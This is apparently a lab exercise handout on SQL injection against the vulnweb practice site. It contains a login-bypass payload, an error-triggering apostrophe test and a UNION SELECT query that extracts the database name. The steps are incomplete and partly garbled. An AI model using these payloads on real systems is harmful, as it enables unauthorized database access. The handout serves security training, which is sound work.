05 1 SQL Injection
05 1 SQL Injection
Prerequisites: None
Steps to be followed:
‘ or 1=1 --
1.4 If the SQL injection is successful, you should be able to see the profile page for the User.
1.5 Use the Artists link to open the profile of the first artist (r4w8173). Alternatively, click the
following link: http://testphp.vulnweb.com/artists.php?artist=1
1.6 Add an apostrophe (‘) symbol at the end of the URL, which will try to break the query:
http://testphp.vulnweb.com/artists.php?artist=-1’
Note: If you see an error message, it means that the running site is vulnerable to SQL injection.
The URL you provided is an example of a URL parameter manipulation often used in web
application testing, particularly for SQL injection. Let's break it down:
This can lead to SQL injection if the web application is not properly handling user input,
and an attacker might attempt to exploit this vulnerability by injecting malicious SQL code.
1.7 Use the following query to fetch the name of the database:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3